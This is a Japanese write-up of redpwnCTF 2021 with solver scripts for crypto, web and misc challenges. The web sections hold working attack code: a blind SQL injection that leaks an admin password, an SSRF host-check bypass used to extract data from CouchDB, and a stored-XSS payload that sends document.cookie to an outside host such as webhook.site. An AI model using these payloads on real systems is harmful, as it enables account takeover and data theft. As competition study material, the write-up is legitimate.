redpwnCTF Writeup

Tue Jul 13 2021

7/10-7/13 で開催していた redpwnCTF 2021 にソロで参加しました。結果は 27th/1418 (得点のあるチームのみカウント) でした。 問題数が多いので、 solve 数が 200 以下の問題についてのみ writeup を書きます。このようにフィルターすると、 pwn と rev は自明問しか解けなかったことがよくわかりますね…

crypto

blecc

146 solves

楕円曲線の問題。 FpF_p 上での楕円曲線 y2=x3+2x+3y^2 = x^3 + 2 x + 3 が与えられており、 Q=dGQ = dG となる dd を求める問題です。ただの離散対数問題ですね。

GG の位数を求めると 251122303362091965393072 * 5 * 11 * 22303 * 36209 * 196539307 となっており、 pohlig-hellman で解けることがわかります。 sagemathdiscrete_log を使って雑に解きます。

p = 17459102747413984477
a = 2
b = 3
G = (15579091807671783999, 4313814846862507155)
Q = (8859996588597792495, 2628834476186361781)


EC = EllipticCurve(GF(p), [a, b])
G = EC(G)
Q = EC(Q)
d = G.discrete_log(Q)
bytes.fromhex(f"{d:x}")

flag{m1n1_3cc}

yahtzee

103 solves

server.py
#!/usr/local/bin/python

from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes
from random import randint
from binascii import hexlify

with open('flag.txt','r') as f:
    flag = f.read().strip()

with open('keyfile','rb') as f:
    key = f.read()
    assert len(key)==32

'''
Pseudorandom number generators are weak!
True randomness comes from phyisical objects, like dice!
'''
class TrueRNG:

    @staticmethod
    def die():
        return randint(1, 6)

    @staticmethod
    def yahtzee(N):
        dice = [TrueRNG.die() for n in range(N)]
        return sum(dice)

    def __init__(self, num_dice):
        self.rolls = num_dice

    def next(self):
        return TrueRNG.yahtzee(self.rolls)

def encrypt(message, key, true_rng):
    nonce = true_rng.next()
    cipher = AES.new(key, AES.MODE_CTR, nonce = long_to_bytes(nonce))
    return cipher.encrypt(message)

'''
Stick the flag in a random quote!
'''
def random_message():
    NUM_QUOTES = 25
    quote_idx = randint(0,NUM_QUOTES-1)
    with open('quotes.txt','r') as f:
        for idx, line in enumerate(f):
            if idx == quote_idx:
                quote = line.strip().split()
                break
    quote.insert(randint(0, len(quote)), flag)
    return ' '.join(quote)

banner = '''
============================================================================
=            Welcome to the yahtzee message encryption service.            =
=  We use top-of-the-line TRUE random number generators... dice in a cup!  =
============================================================================
Would you like some samples?
'''
prompt = "Would you like some more samples, or are you ready to 'quit'?\n"

if __name__ == '__main__':
    NUM_DICE = 2
    true_rng = TrueRNG(NUM_DICE)
    inp      = input(banner)
    while 'quit' not in inp.lower():
        message = random_message().encode()
        encrypted = encrypt(message, key, true_rng)
        print('Ciphertext:', hexlify(encrypted).decode())
        inp = input(prompt)

フラグの文字列を25種類ある引用文のどこかに挿入し、それを AES の CTR モードで暗号化します。 AES の key は固定で、 noncerandint(1, 6) + randint(1, 6) がランダムに与えられます。

探索空間は 25 x O(10) x 12 程度 (しかも nonce は6周辺になる確率が高い) ため、暗号文を何度か入手すると同じ引用文・同じ nonce でフラグの挿入箇所だけが違うものが手に入ることが期待できます。とりあえず暗号文を集めます。

import re
import subprocess

from pwn import remote, xor

_r = remote("mc.ax", 31076)
ret = _r.recvline().strip().decode()
cmd = ret[ret.index("curl"):]
proc = subprocess.run(["bash", "-c", cmd], stdout=subprocess.PIPE)
_r.sendlineafter("solution: ", proc.stdout.strip())
enc_list = []
for i in range(1000):
    if i % 10 == 0:
        print(i)
    _r.sendlineafter("?\n", "")
    ret = _r.recvline().strip().decode()
    enc = re.findall(r"Ciphertext: (.*)", ret)[0]
    enc_list.append(enc)

まず引用文の単語の数で引用文の種類を区別します。以下同じ単語数のもののみ考察します。えいやで決めた単語数 204 個のものを使います。

暗号文の構造を考えると、 (quote_pre || flag || quote_post) + AES (ここで || は文字列の結合、 + は xor を表す) となっており、 flag の位置がそれぞれ違うというものになっています。 そのため2種類の暗号文の xor をとると、 00...00 || (flag + quote) || 00...00 という構造になるはずです。 flag の prefix が flag{ であることから、 (flag + quote) + "flag{" の計算で2種類のペアから quote の一部の5文字をリークさせることができます。

それで現れた単語を適当にググると、 The question isnt who is going to let me; its who is going to stop me. という引用文であることがわかりました。 これと暗号文の xor を取ることで挿入された flag を入手することができました。

flag{0h_W41t_ther3s_nO_3ntr0py}

scrambled-elgs

70 solves

generator.sage
#!/usr/bin/env sage
import secrets
import json
from Crypto.Util.number import bytes_to_long, long_to_bytes
from sage.combinat import permutation

n = 25_000
Sn = SymmetricGroup(n)

def pad(M):
    padding = long_to_bytes(secrets.randbelow(factorial(n)))
    padded = padding[:-len(M)] + M
    return bytes_to_long(padded)

#Prepare the flag
with open('flag.txt','r') as flag:
    M = flag.read().strip().encode()
m = Sn(permutation.from_rank(n,pad(M)))

#Scramble the elgs
g = Sn.random_element()
a = secrets.randbelow(int(g.order()))
h = g^a
pub = (g, h)

#Encrypt using scrambled elgs
g, h = pub
k = secrets.randbelow(n)
t1 = g^k
t2 = m*h^k
ct = (t1,t2)

#Provide public key and ciphertext
with open('output.json','w') as f:
	json.dump({'g':str(g),'h':str(h),'t1':str(t1),'t2':str(t2)}, f)

対称群を用いた ElGamal 暗号 になっています。 h=gah = g^a となる aag,hg, h から求められれば、 t2t1at_2 t_1^{-a} でフラグ (を対称群の元にしたもの) が得られます。

対称群は当然群なので、位数を確認して pohlig-hellman が使えるか確認します。位数は 2^3 * 3 * 11 * 13 * 29 * 167 * 239 * 317 * 379 * 971 * 4211 となっており、使えそうです。

sagemathdiscrete_log は対称群に対応していないみたいだったので、自分で pohlig-hellman を書きました。

solve.py
import json
import secrets

from Crypto.Util.number import bytes_to_long, long_to_bytes

from sage.combinat import permutation
from sage.groups.generic import bsgs

n = int(25_000)
Sn = SymmetricGroup(n)

with open("./output.json") as f:
    output = json.load(f)

g = Sn(output["g"])
h = Sn(output["h"])
t1 = Sn(output["t1"])
t2 = Sn(output["t2"])

a_list = []
b_list = []
order = g.order()
for p, e in list(factor(g.order())):
    gi = g ** (order // p ^ e)
    hi = h ** (order // p ^ e)
    gamma = gi ** (p ** (e - 1))
    xk = 0
    for k in range(e):
        hk = (gi ** (-xk) * hi) ** (p ** (e - 1 - k))
        dk = bsgs(gamma, hk, (0, p - 1))
        xk = xk + p ** k * dk
    xi = xk
    a_list.append(xi)
    b_list.append(p ^ e)
a = crt(a_list, b_list)
assert g ** a == h
m = t2 * t1 ** (-a)


perm = Permutation(permutation.from_permutation_group_element(m))


def perm_to_num(perm):
    s = list(range(1, n + 1))
    ret = 0
    for i in range(n):
        order = s.index(perm[i])
        s.remove(perm[i])
        ret += order * factorial(n - i - 1)
    return ret


M = perm_to_num(perm)
print(long_to_bytes(M))

flag{1_w1ll_n0t_34t_th3m_s4m_1_4m}

Keeper of the Flag

42 solves

kotf.py
#!/usr/local/bin/python3

from Crypto.Util.number import *
from Crypto.PublicKey import DSA
from random import *
from hashlib import sha1

rot = randint(2, 2 ** 160 - 1)
chop = getPrime(159)

def H(s):
    x = bytes_to_long(sha1(s).digest())
    return pow(x, rot, chop)


L, N = 1024, 160
dsakey = DSA.generate(1024)
p = dsakey.p
q = dsakey.q
h = randint(2, p - 2)
g = pow(h, (p - 1) // q, p)
if g == 1:
    print("oops")
    exit(1)

print(p)
print(q)
print(g)

x = randint(1, q - 1)
y = pow(g, x, p)

print(y)


def verify(r, s, m):
    if not (0 < r and r < q and 0 < s and s < q):
        return False
    w = pow(s, q - 2, q)
    u1 = (H(m) * w) % q
    u2 = (r * w) % q
    v = ((pow(g, u1, p) * pow(y, u2, p)) % p) % q
    return v == r


pad = randint(1, 2 ** 160)
signed = []
for i in range(2):
    print("what would you like me to sign? in hex, please")
    m = bytes.fromhex(input())
    if m == b'give flag' or m == b'give me all your money':
        print("haha nice try...")
        exit()
    if m in signed:
        print("i already signed that!")
        exit()
    signed.append(m)
    k = (H(m) + pad + i) % q
    if k < 1:
        exit()
    r = pow(g, k, p) % q
    if r == 0:
        exit()
    s = (pow(k, q - 2, q) * (H(m) + x * r)) % q
    if s == 0:
        exit()
    print(H(m))
    print(r)
    print(s)

print("ok im done for now")
print("you visit the flag keeper...")
print("for flag, you must bring me signed message:")
print("'give flag':" + str(H(b"give flag")))

r1 = int(input())
s1 = int(input())
if verify(r1, s1, b"give flag"):
    print(open("flag.txt").readline())
else:
    print("sorry")

DSA の問題。 従来の DSA と違うのは、 kk がただの乱数ではないことと、 hash 関数に RSA のような処理をしていることです。こちらの指定した数値 (ただし重複はダメ) で2回署名を入手できます。その後に "give flag" の署名として valid な r,sr, s を送信できればフラグが得られます。

kk がただの乱数ではないので xx を求める方法がないかを考えます。 ki=(H(mi)+pad+i)k_i = (H(m_i) + pad + i)si=ki1(H(mi)+xri)s_i = k_i^{-1} (H(m_i) + xr_i) に代入すると、

H(mi)+pad+i=si1(H(mi)+xri)H(m_i) + pad + i = s_i^{-1} (H(m_i) + xr_i)

となります。 H(mi),si,riH(m_i), s_i, r_ii=0,1i=0, 1 のケースで得られているため、 pad,xpad, x 2変数の連立合同方程式を解けばよいことがわかります。 i=1i=1 のものから i=0i=0 のものを引くと、

H(m1)H(m0)+1=s11H(m1)s01H(m0)+(s11r1s01r0)xx=(s11r1s01r0)1((1s11)H(m1)(1s01)H(m0)+1)\begin{aligned} H(m_1) - H(m_0) + 1 &= s_1^{-1} H(m_1) - s_0^{-1} H(m_0) + (s_1^{-1}r_1 - s_0^{-1}r_0) x \\ x &= (s_1^{-1}r_1 - s_0^{-1}r_0)^{-1}\left((1 - s_1^{-1}) H(m_1) - (1 - s_0^{-1}) H(m_0) + 1\right) \end{aligned}

となり、 xx が求まります。あとは DSA と同様の署名をするだけです (だけなのですが、自分は H("give flag") が与えられていることに気づかず、ここからかなりの時間を溶かしてしまいました…)。

solve.py
import subprocess
from hashlib import sha1

from pwn import remote


_r = remote("mc.ax", 31538)

ret = _r.recvline().strip().decode()
cmd = ret[ret.index("curl") :]
proc = subprocess.run(["bash", "-c", cmd], stdout=subprocess.PIPE)
_r.sendlineafter("solution: ", proc.stdout.strip())


def recv_int():
    return int(_r.recvline().strip())


p = recv_int()
q = recv_int()
g = recv_int()
y = recv_int()

_r.sendlineafter("what would you like me to sign? in hex, please\n", "00")
Hm0 = recv_int()
r0 = recv_int()
s0 = recv_int()
_r.sendlineafter("what would you like me to sign? in hex, please\n", "01")
Hm1 = recv_int()
r1 = recv_int()
s1 = recv_int()

s0_inv = pow(s0, -1, q)
s1_inv = pow(s1, -1, q)

pred_x = (
    pow(s1_inv * r1 - s0_inv * r0, -1, q)
    * ((1 - s1_inv) * Hm1 - (1 - s0_inv) * Hm0 + 1)
    % q
)

_r.recvuntil("'give flag':")
Hm = recv_int()
k = 1
r = pow(g, k, p) % q
s = (pow(k, -1, q) * (Hm + pred_x * r)) % q

_r.sendline(str(r))
_r.sendline(str(s))
print(_r.recvall())

flag{here_it_is_a8036d2f57ec7cecf8acc2fe6d330a71}

quaternion-revenge

29 solves

これはただのバグ報告になってしまうのですが、 i と入力するだけで通ってしまいました… 手元環境では再現しないし、なぜこれが通るのかわからない…

flag{00p5_1_l13d_r0fl}

web

cool

125 solves

SQLi の問題。脆弱性はここ。

app.py
def create_user(username, password):
    if any(c not in allowed_characters for c in username):
        return (False, 'Alphanumeric usernames only, please.')
    if len(username) < 1:
        return (False, 'Username is too short.')
    if len(password) > 50:
        return (False, 'Password is too long.')
    other_users = execute(
        f'SELECT * FROM users WHERE username=\'{username}\';'
    )
    if len(other_users) > 0:
        return (False, 'Username taken.')
    execute(
        'INSERT INTO users (username, password)'
        f'VALUES (\'{username}\', \'{password}\');'
    )
    return (True, '')

username は文字種のチェックがされていますが、 password はされていません。最後の INSERT 文で password を介して SQLi ができそうです。

方針としては password='||(SELECT SUBSTR(password,1,1) FROM users)||' とすることで、 admin のパスワードの1文字目をパスワードに設定することができます ( LIMIT 句なしでもよしなにやってくれるんですね)。 このパスワードでユーザー登録をし、brute force でログインを試すことで1文字ずつリークさせることができます。

solve.py
import random
import requests


allowed_characters = list(
    "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789"
)

register_url = "https://cool.mc.ax/register"
login_url = "https://cool.mc.ax/"
logout_url = "https://cool.mc.ax/logout"
message_url = "https://cool.mc.ax/message"
with requests.Session() as s:
    admin_password = ""
    for i in range(1, 1+32):
        username = "".join(random.choice(list(allowed_characters)) for _ in range(32))
        password = f"'||(SELECT SUBSTR(password,{i},1) FROM users)||'"
        print(username, password)
        r = s.post(register_url, data={"username": username, "password": password})
        s.get(logout_url)
        for c in allowed_characters:
            print(c)
            r = s.post(login_url, data={"username": username, "password": c})
            if "Unfortunately" in r.text:
                admin_password += c
                print(admin_password)
                break
        else:
            print("end")
            break
    r = s.post(login_url, data={"username": "ginkoid", "password": admin_password})
    r = s.get(message_url)
    with open("./flag.mp3", "wb") as f:
        f.write(r.content)

これで得られた flag.mp3 をエディタで開くと最後の部分にフラグが書かれていました。

flag{44r0n_s4ys_s08r137y_1s_c00l}

Requester

41 solves

SSRF の問題。 /testAPI を使うことで couchdb にアクセスできることが期待されます。 例えば https://requester.mc.ax/createUser?username=hogetaro&password=fugataro&method=GET とすることで hogetaro:fugataro という username, password でユーザー登録ができました。

jar ファイルが与えられているので JD-GUI でデコンパイルして解析します。 脆弱性はここ。

  public static void testAPI(Context ctx) {
    String url = (String)ctx.queryParam("url", String.class).get();
    String method = (String)ctx.queryParam("method", String.class).get();
    String data = ctx.queryParam("data");
    try {
      URL urlURI = new URL(url);
      if (urlURI.getHost().contains("couchdb"))
        throw new ForbiddenResponse("Illegal!"); 
    } catch (MalformedURLException e) {
      throw new BadRequestResponse("Input URL is malformed");
    } 
    try {
      if (method.equals("GET")) {
        JSONObject jsonObj = HttpClient.getAPI(url);
        String str = jsonObj.toString();
      } else if (method.equals("POST")) {
        JSONObject jsonObj = HttpClient.postAPI(url, data);
        String stringJsonObj = jsonObj.toString();
        if (Utils.containsFlag(stringJsonObj))
          throw new ForbiddenResponse("Illegal!"); 
      } else {
        throw new BadRequestResponse("Request method is not accepted");
      } 
    } catch (Exception e) {
      throw new InternalServerErrorResponse("Something went wrong");
    } 
    ctx.result("success");
  }
}

ホスト名に couchdb という文字列が入っていると弾く処理があるのですが、 COUCHDB とすることでこの処理を回避することができます。 これで couchdb に対していろいろな query を投げることができます。

https://docs.couchdb.org/en/latest/api/database/find.html を参考に、 hogetaro/_find に対して flag^flag{ (正規表現) となっているものを取ってくる query を作り、投げました。 もし存在していればフラグの入った json が返されますが、上記ソースコードの Utils.containsFlag(stringJsonObj) の部分で弾かれる処理がなされます。もし存在していなければ普通に success が返ってきます。 そのため正規表現を使って前から1文字ずつフラグを特定させていくことができます。

solve.py
import requests

# https://requester.mc.ax/createUser?username=hogetaro&password=fugataro
query_url_template = "https://requester.mc.ax/testAPI?url=http://hogetaro:fugataro@COUCHDB:5984/hogetaro/_find&method=POST&data={{%22selector%22:{{%22flag%22:{{%22$regex%22:%22^{query_flag}%22}}}},%22fields%22:[%22_id%22,%22_rev%22,%22flag%22]}}"

escaped = '"#$%&()*+/?[\\]^|.'

flag = ""
for _ in range(100):
    for i in range(32, 128)[::-1]:
        c = chr(i)
        if c in escaped:
            continue
        print(c)
        query_url = query_url_template.format(query_flag=flag + c)
        r = requests.get(query_url)
        if "Something went wrong" == r.text:
            flag += c
            print(flag)
            break
    else:
        print("done")
        break

flag{JaVA_tHE_GrEAteST_WeB_lANguAge_32154}

requester-strikes-back

19 solves

Requester とほぼ同じ問題。 couchdb の case 問題に修正入っています。

    try {
      URL urlURI = new URL(url);
      if (urlURI.getHost().toLowerCase().contains("couchdb"))
        throw new ForbiddenResponse("Illegal!"); 
      String urlDecoded = URLDecoder.decode(url, StandardCharsets.UTF_8);
      urlURI = new URL(urlDecoded);
      if (urlURI.getHost().toLowerCase().contains("couchdb"))
        throw new ForbiddenResponse("Illegal!"); 
    } catch (MalformedURLException e) {
      throw new BadRequestResponse("Input URL is malformed");
    }

前問との違いはここだけっぽい (真面目に diff を取ったわけではないですが) ので、ここを何とかすることに注力します (逆に diff 見るだけで前問の脆弱性は一瞬でわかってしまいますね…)。

結論だけいうと、 http://hogetaro:fugataro@COUCHDB:5984@/ のように最後に余分な @ をつけることで回避することができました。検証はしていないですが getHost() の結果が空になるのだと思います。 あとは前問と同様の script を動かすことでフラグを入手できました。

solve.py
import requests

# https://requester-strikes-back.mc.ax/createUser?username=hogetaro&password=fugataro
query_url_template = "https://requester-strikes-back.mc.ax/testAPI?url=http://hogetaro:fugataro@COUCHDB:5984@/hogetaro/_find&method=POST&data={{%22selector%22:{{%22flag%22:{{%22$regex%22:%22^{query_flag}%22}}}},%22fields%22:[%22_id%22,%22_rev%22,%22flag%22]}}"

escaped = '"#$%&()*+/?[\\]^|.'

flag = ""
for _ in range(100):
    for i in range(32, 128)[::-1]:
        c = chr(i)
        if c in escaped:
            continue
        print(c)
        query_url = query_url_template.format(query_flag=flag + c)
        r = requests.get(query_url)
        if "Something went wrong" == r.text:
            flag += c
            print(flag)
            break
    else:
        print("done")
        break

flag{TYp0_InsTEad_0F_JAvA_uRl_M4dN3ss_92643}

misc

annaBEL-lee

134 solves

nc mc.ax 31845 をしても標準出力には何も表示されません。とりあえずファイルに書き込んでみると、 \x07\x00 の2文字からなる文字列が返されていました。

\x07 がベルを表す制御コードであることや問題文から、モールス信号ではないかと guess しました。 モールス信号だと思って文字列を見ると、 \x07\x07\x07-\x07.\x00 がそれらの区切りを表しているように見えます。 この方針で decode してみたらフラグが得られました。

solve.py
with open("./tmp", "rb") as f:
    enc_bin = f.read()

char_to_morse = {
    "A": ".-",
    "B": "-...",
    "C": "-.-.",
    "D": "-..",
    "E": ".",
    "F": "..-.",
    "G": "--.",
    "H": "....",
    "I": "..",
    "J": ".---",
    "K": "-.-",
    "L": ".-..",
    "M": "--",
    "N": "-.",
    "O": "---",
    "P": ".--.",
    "Q": "--.-",
    "R": ".-.",
    "S": "...",
    "T": "-",
    "U": "..-",
    "V": "...-",
    "W": ".--",
    "X": "-..-",
    "Y": "-.--",
    "Z": "--..",
    "1": ".----",
    "2": "..---",
    "3": "...--",
    "4": "....-",
    "5": ".....",
    "6": "-....",
    "7": "--...",
    "8": "---..",
    "9": "----.",
    "0": "-----",
    ",": "--..--",
    ".": ".-.-.-",
    "?": "..--..",
    "/": "-..-.",
    "-": "-....-",
    "(": "-.--.",
    ")": "-.--.-",
}

morse_to_char = {v: k for k, v in char_to_morse.items()}


def decrypt(enc):
    msg = ""
    for morse in enc.split():
        if morse in morse_to_char.keys():
            msg += morse_to_char[morse]
        else:
            msg += morse
    return msg


enc = (
    enc_bin.replace(b"\x07\x07\x07", b"-")
    .replace(b"\x07", b".")
    .replace(b"\x00\x00\x00", b" ")
    .replace(b"\x00", b"")
    .decode()
)
print(decrypt(enc))
print(decrypt(enc).lower().replace("(", "{").replace(")", "}"))

flag{d1ng-d0n9-g0es-th3-anna-b3l}

復習

ここから先は競技終了後にいろいろ調べながら書いたものとなります。

crypto

quaternion-revenge

29 solves

適当に送ってしまったペイロードでフラグを得てしまったので復習しました。

まずなぜ i というペイロードで通ってしまったのかを確認しました。 https://github.com/redpwn/redpwnctf-2021-challenges/blob/master/crypto/quaternion-revenge/Dockerfile#L1 を見ると sagemath/sagemath:9.0-py3 のバージョンが使われているっぽいので、この image 下で試します。

docker run -it sagemath/sagemath:9.0-py3 "sage -c 'Q.<i,j,k>=QuaternionAlgebra(-2**512+1,-2**512+1);print(i==2**512-1)'"
True

docker run -it sagemath/sagemath:9.0-py3 "sage -c 'Q.<i,j,k>=QuaternionAlgebra(-2**32+1,-2**32+1);print(i==2**32-1)'"
False

大きい整数を使ったときにこういうことが生じるっぽいです。

この挙動は手元の version 9.3 では再現しません。

sage -v
SageMath version 9.3, Release Date: 2021-05-09

sage -c 'Q.<i,j,k>=QuaternionAlgebra(-2**512+1,-2**512+1);print(i==2**512-1)'
False

あとは想定解は何なのかという疑問が残りますが、 discord のやり取りを見ているとこの挙動を特定するのが想定解っぽい…? だったらバージョンを明記してほしかったな…

retrosign

26 solves

D,k,ND, k, N が与えられたときに x2Dy2=kmodNx^2 - Dy^2 = k \mod N を満たす整数 x,yx, y を求める問題は古くから知られているようです。暗号の関係でいうと、Ong-Schnorr-Shamir digital signature というのに使われていたらしいです。 また CTF でも何度か出題されたことがあるらしい。このような条件下でなぜググっても見つけることができなかったのか… ("conics rational integer point" みたいな検索ワードでずっと調べていたから…)

アルゴリズムは https://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.7.9765&rep=rep1&type=pdf がまとまっていてわかりやすかったです。これを追実装して解きました。

pollard.sage
def lemma(r, D, m):
    """Transform r^2 = D mod m into u^2 - Dv^2 = lm"""
    assert (r ** 2 - D) % m == 0
    xs = [r]
    ms = [m]
    while True:
        tmp_m = (xs[-1] ** 2 - D) // ms[-1]
        if tmp_m <= int(sqrt(4 * abs(D) / 3)):
            break
        tmp_x = xs[-1] % tmp_m
        ms.append(tmp_m)
        xs.append(tmp_x)

    _lambda = tmp_m
    As = [0, 1]
    for i in range(1, len(xs))[::-1]:
        assert (xs[i-1] - xs[i]) % ms[i] == 0
        tmp_A = As[-2] + (xs[i-1] - xs[i]) // ms[i] * As[-1]
        As.append(tmp_A)
    u = As[-1] * xs[0] - As[-2] * ms[0]
    v = As[-1]

    assert u ** 2 - D * v ** 2 == _lambda * m
    return u, v, _lambda


def pollard(D, k, N):
    """solve x, y such that x^2 - Dy^2 = k mod N"""
    print(D, k, N)
    if D == 0 or k == 0:
        raise ValueError
    elif N % 2 == 0:
        raise NotImplementedError
    elif gcd(k, N) != 1 or gcd(D, N) != 1:
        raise NotImplementedError

    elif isqrt(abs(D)) ** 2 == abs(D):
        if D >= 0:
            b = isqrt(D)
            c = int((k + 1) * pow(2, -1, N))
            d = int((k - 1) * pow(2, -1, N))
            assert (c ** 2 - d ** 2) % N == k % N
        else:
            b = -isqrt(-D)
            p = k
            while True:
                if p % 4 == 1 and is_prime(p):
                    break
                p += N
            c, d = GaussianIntegers()(p).factor()[0][0]
            c, d = int(c), int(d)
            assert (c ** 2 + d ** 2) % N == k % N
        x = c
        y = int(d * pow(b, -1, N))
    elif abs(k) < abs(D):
        c, d = pollard(k, D, N)
        print(c, d)
        x = int(c * pow(d, -1, N))
        y = int(pow(d, -1, N))
    else:
        p = k
        while True:
            if p > 0 and is_prime(p) and kronecker(D, p) != -1:
                break
            p += N

        t = int(Zmod(p)(D).sqrt())
        u, v, _lambda = lemma(t, D, p)
        w, z = pollard(D, _lambda, N)
        y = int((u * z - v * w) * pow(D * z ** 2 - w ** 2, -1, N))
        x = int((v - y * w) * pow(z, -1, N))
    assert (x ** 2 - D * y ** 2) % N == k % N
    return x, y
solve.sage
import re
import subprocess
from hashlib import sha256

from pwn import remote

_r = remote("mc.ax", 31079)
ret = _r.recvline().strip().decode()
cmd = ret[ret.index("curl"):]
proc = subprocess.run(["bash", "-c", cmd], stdout=subprocess.PIPE)
_r.sendlineafter("solution: ", proc.stdout.strip())

_r.recvuntil("The following configuration is in place:\n")
n = int(re.findall(r"n = (.*);", _r.recvline().strip().decode())[0])
k = int(re.findall(r"k = (.*);", _r.recvline().strip().decode())[0])

cmd = b"sice_deets"
t = int(sha256(cmd).hexdigest(), 16)
a, b = pollard(-k, t, n)
sig = f"{a:0256x}{b:0256x}"
_r.sendlineafter(">>> ", cmd.decode())
_r.sendlineafter("$$$ ", sig)
print(_r.recvall())

flag{w0w_th4t_s1gn4tur3_w4s_pr3tty_r3tr0}

web

notes

32 solves

脆弱性はここ。

public/static/view/index.js
(async () => {
  const request = await fetch(`/api/notes/${user}`);
  const notes = await request.json();

  const renderedNotes = [];
  for (const note of notes) {
    // this one is controlled by user, so prevent xss
    const body = note.body
      .replaceAll('<', '&lt;')
      .replaceAll('>', '&gt;')
      .replaceAll('"', '&quot;')
      .replaceAll('\'', '&#39;');
    // this one isn't, but make sure it fits on page
    const tag =
      note.tag.length > 10 ? note.tag.substring(0, 7) + '...' : note.tag;
    // render templates and put them in our array
    const rendered = populateTemplate(template, { body, tag });
    renderedNotes.push(rendered);
  }

  container.innerHTML += renderedNotes.join('');
})();

body のほうはサニタイズが行われていますが、 tag では行われていません。 問題は、各 note で tag は10文字以下にしないといけないので、何かしら工夫が必要です。

まず試したのは、

{"body": "", "tag": "<script>`"}
{"body": "`;SOME_SCRIPT;`", "tag": "`</script>"}

というペイロードで、 ` を使って note 間の html をコメントアウトする方法でした。 しかしこれは動きません。 innerHTML に直接追加された script は動かないみたいです。 https://developer.mozilla.org/ja/docs/Web/API/Element/innerHTML#security_considerations

なので <img src=x onerror=SOME_SCRIPT> のようなペイロードにする必要があります。 しかし、

{"body": "", "tag": "<img src='"}
{"body": "", "tag": "'onerror=`"}
{"body": "`;SOME_SCRIPT;`", "tag": "`>"}

のようにしても、 note 間の html によって勝手に <img> タグが閉じられるような挙動になってしまい、うまく動きません。

競技中はここで力が尽きました。

@st98_ さんの Writeup では、

{"body": "a", "tag": "<style a='"}
{"body": "a", "tag": "'onload='`"}
{"body": "${navigator.sendBeacon(`https://webhook.site/…`,document.cookie)}", "tag": "`'></style>"}

という <style> を使った方法が取り上げられていました。 onerror より1文字減ったため onload 以降を '' で囲むことができています。これのおかげでタグが勝手に閉じられない…?

このあたりの挙動はいろいろ試して覚えていくのがいいんですかね、精進不足…

solve.py
import requests

url = "https://notes.mc.ax/api/notes"
cookies = {"username": "hogehoge.sm3p%2BagZCVM8E%2FcZDIi0Huw7uzhw0SJhBLC2nGkjtow"}

payload_list = [
    {"body": "", "tag": "<style a='"},
    {"body": "", "tag": "'onload='`"},
    {
        "body": "`;document.location=`MY_URL?q=${document.cookie}`;`",
        "tag": "`'></style>",
    },
]

for payload in payload_list:
    r = requests.post(url, cookies=cookies, json=payload)

これを実行したあとに admin に踏ませることで、 admin の cookie が admin.uPoq5EHI5BXHy3ifvT25/ds2M3JH2JwsZJPpN0Vn1s8 であることがわかります。 この cookie を使って admin のページを見ることでフラグが得られました。

flag{w0w_4n07h3r_60lf1n6_ch4ll3n63}